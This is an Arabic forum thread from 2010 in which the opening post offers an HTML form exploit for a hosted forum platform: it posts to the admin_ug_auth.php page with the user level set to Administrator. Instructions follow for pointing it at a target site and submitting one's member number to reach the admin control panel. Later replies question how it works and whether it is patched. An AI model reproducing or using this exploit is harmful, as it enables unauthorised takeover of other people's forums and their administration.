Hitskin.com

موضوع: ثغرة الجمعة أبريل 30, 2010 7:55 pm

ثغرة خطيرة جدأ في منتدى

كود PHP:

<html>

<head>

</head>

<body>

<form method="post"

action="https://almajro7.7olm.orgadmin/admin_ug_auth.php">

User Level: <select name="userlevel">

<option value="admin">Administrator</option>

<option value="user">User</option></select>

<input type="hidden" name="private[1]" value="0">

<input type="hidden" name="moderator[1]" value="0">

<input type="hidden" name="mode" value="user">

<input type="hidden" name="adv" value="">

User Number: <input type="text" name="u" size="5">

<input type="submit" name="submit" value="Submit">

</form>

</body>

</html>

https://almajro7.7olm.org عدل هذا العنوان الى عنوان الموقع المستهدف
اخفظه بامتدادhtml
عندما تدخل الى الصفحة التي قمت بحفظها سوف تجد
قائمة والتي يتم اختيار التصريح الذي تريده لتطبيق الثغرة اختر تصريح Administrator
ثم بالمربع الجانبي شع رقم عضويتك بالمنتدى
أضغط زر submit
بعدها سوف تاتيك شاشة تسجيل الدخول ضع اسم المستخدم وكلمة المرور الخاصة بك
ثم سوف تجد نفسك في لوحة تحكم المنتدى !!

موضوع: رد: ثغرة السبت مايو 01, 2010 6:03 am

اهلا وسهلا اخي
ولكن لم افهم شي مما قلت
ارجوا منك التوضيخ لماذا هذا الكود
وماذا اعمل به

نديم ، الحب ، برنامج ، تحميل ، دليل ، مسلسل ، انشوده ، جديد ، كامل

المنتديات للبيع :

للتواصل واتساب

967772204567+

موضوع: رد: ثغرة السبت مايو 01, 2010 6:08 am

اخي انا استخدمت الكود في صغحات الهوتميل
ولكن لم اعرف ما فائدته

نديم ، الحب ، برنامج ، تحميل ، دليل ، مسلسل ، انشوده ، جديد ، كامل

المنتديات للبيع :

للتواصل واتساب

967772204567+

موضوع: رد: ثغرة الثلاثاء مايو 04, 2010 9:08 pm

حبيب القلب متل ما قلتلك

افتح مستند نصي جديد

والصق الكود

وبعدها احفظه بإمتداد htmil وافتح الصفحة التي قمت بحفظها

سيظهر لك خياران الأول اختر الأدمن والثاني رقم العضوية
وبعدها سمبيت

ولكن انت المدير يعني اي انت من دون الكود تستطيع الدخول ل لوحة التحكم

اي شخص يستطيع الدخول للوحة التحكم عبر هذا الكود

في موقعكم الكريم

موضوع: رد: ثغرة الأربعاء مايو 05, 2010 5:23 am

اخي بس كلمه المرور اللي هي
User Number:
كيف بيعرفها المخترق

نديم ، الحب ، برنامج ، تحميل ، دليل ، مسلسل ، انشوده ، جديد ، كامل

المنتديات للبيع :

للتواصل واتساب

967772204567+

موضوع: رد: ثغرة الأربعاء مايو 05, 2010 5:41 am

يا اخ نديم
انا قال لي واحد صديق امس انه ممكن واحد يضع رد باسمك في المنتدى
وهذا الشخص قد حدثت معه حكايه في منتدى اخر غير هذا المنتدى وهو انه عندما دخل على موضوع من مواضيع المنتدى لاحظ وجود رده له وهو لم يدخل هذا الموضوع من سابق ابدا
وقد بلغ ادارة المنتدى بذلك ولقد اخبروه انه يجب عليه تغير password حقه
وحذفوا ذالك الرد
هذه الحكايه حصلت في موقع مارب برس
ولقد سالني هذا الصديق عن كيفية الدخول هذه فاجبته بلتعجب وقلت له ان كلمة السر او الدخول هذه محتفظ بها في قاعدة البيانات
لكن لم انكر هذا او اكذبه لان العالم الانترنيتي فيه من العجب العجاب
شكرا لكم
تحياتي

نديم ، الحب ، برنامج ، تحميل ، دليل ، مسلسل ، انشوده ، جديد ، كامل

|•{ لســت الأفــضل..ولــكن لي أســـلوبي }•|
..{ سأظل دائما .. اتقبل رأي الناقد و الحاسد فالأول يصحح مساري .. والثاني يزيد من اصراري }..

ثغرة Shabwhb12a330ff3

يا قارئ خطي لا تبكي على موتي..فاليوم أنا معك وغداً في التراب..فإن عشت فاني معك وإن مت فلذكرى ..
ويا ماراً على قبري لا تعجب من أمري.. بالأمس كنت معك وغداً.. أنت معي.
أمـــوت و يـبـقـى كـل مـا كـتـبـتـــه ذكــرى.. فيـا ليت كـل من قـرأ خطـي دعا لي
ثغرة Sdgsdfsdzer

موضوع: رد: ثغرة السبت مايو 08, 2010 12:07 am

يا حبيب الثغرة بدعا ترقيع

لأن اليوزر نمبر هو رقم العضوية مو كلمة مرور يعني لازم المخترق بيسجل عندكم بالموقع بعدها بيخاد رقم عضويته وبيحطها محل اليوزر نمبر

انت خبر عن مشكلة ومو عليك يمكن انت لسه مبتدئ

موضوع: رد: ثغرة السبت مايو 08, 2010 5:16 am

اخي رقم العضويه ليس موجود عندنا في المنتدى
هو مجرد رقم صفحه العضو الشخصيه
اخي من باب كلمه المرور فهي عن طريق ارتباطات الكوكيز فقط
وهو يتم حذفها

نديم ، الحب ، برنامج ، تحميل ، دليل ، مسلسل ، انشوده ، جديد ، كامل

المنتديات للبيع :

للتواصل واتساب

967772204567+

» تحديث لسد ثغرة خطيرة جدا في متصفح الإنترنت من مايكروسوفت
» تحديث أمني هام من أوراكل يعالج 47 ثغرة أمنية
» تحديث لسد ثغرة خطيرة جدا في متصفح الإنترنت من مايكروسوفت
» Microsoft تؤكد وجود ثغرة في انظمة Windows XP
» "أدوبى" تحذر من ثغرة أمنية خطيرة فى مشغل فلاش